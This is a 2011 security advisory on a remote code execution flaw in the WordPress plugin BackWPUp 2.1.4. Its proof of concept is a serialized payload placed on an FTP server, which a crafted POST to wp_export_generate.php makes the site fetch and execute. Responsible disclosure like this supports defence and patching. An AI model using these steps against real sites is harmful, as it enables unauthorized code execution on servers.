Sense of Security – Security Advisory – SOS-11-012.

WordPress Plugin – BackWPUp 2.1.4

17 October 2011.

WordPress Plugin BackWPUp 2.1.4 - Security Advisory - SOS-11-012

Release Date.	17-Oct-2011
Last Update.	-
Vendor Notification Date.	14-Oct-2011
Product.	BackWPUp
Platform.	WordPress
Affected versions.	2.1.4
Severity Rating.	High
Impact.	System access
Attack Vector.	Remote without authentication
Solution Status.	Upgrade to 2.1.5
CVE reference.	Not yet assigned

Details.

A vulnerability has been discovered in the WordPress plugin BackWPup 2.1.4 which can be exploited to execute local or remote code on the web server.

There is a lack of data validation on the BackWPUpJobTemp POST parameter of job/wp_export_generate.php allowing an attacker to specify FTP resources as input.

This resource is downloaded and deserialised by the wp_export_generate.php script and variables from this deserialisation are later passed to require_once.

Proof of Concept.

Upload the following to a publicly accessible FTP server and name it “file.txt.running”.

```
a:2:{s:7:"WORKING";a:1:{s:5:"NONCE";s:3:"123";}s:8:"ABS_PATH";
s:25:"data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs=";}
```

This serialised string creates an array containing:

```
$infile['WORKING'] = array();
```

```
$infile['WORKING']['NONCE'] = '123';
```

```
$infile['ABS_PATH'] =
'data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs=';
```

Once uploaded ensure the FTP file is writeable and issue a POST to “job/wp_export_generate.php” with the following parameters:

```
$_POST['BackWPupJobTemp'] =
"ftp://user:password@10.2.0.128/file.txt";
$_POST['nonce'] = '123';
$_POST['type'] = 'getxmlexport';
```

The string included in $infile[‘ABS_PATH’] will then have “wp-load.php” appended to it and passed to require_once.

In the above example the code contained in the base64 encoded string will then be executed. The above code executes “phpinfo(); die();”.

allow_URL_include will need to be on to allow to allow for remote file inclusion, however local file inclusion could easily be achieved by using null byte injection.

Solution.

Upgrade to BackWPUp 2.1.5 of above.

Discovered by.

Phil Taylor from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia’s premier application penetration testing firm and trusted IT security advisor to many of the country’s largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-11-012.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php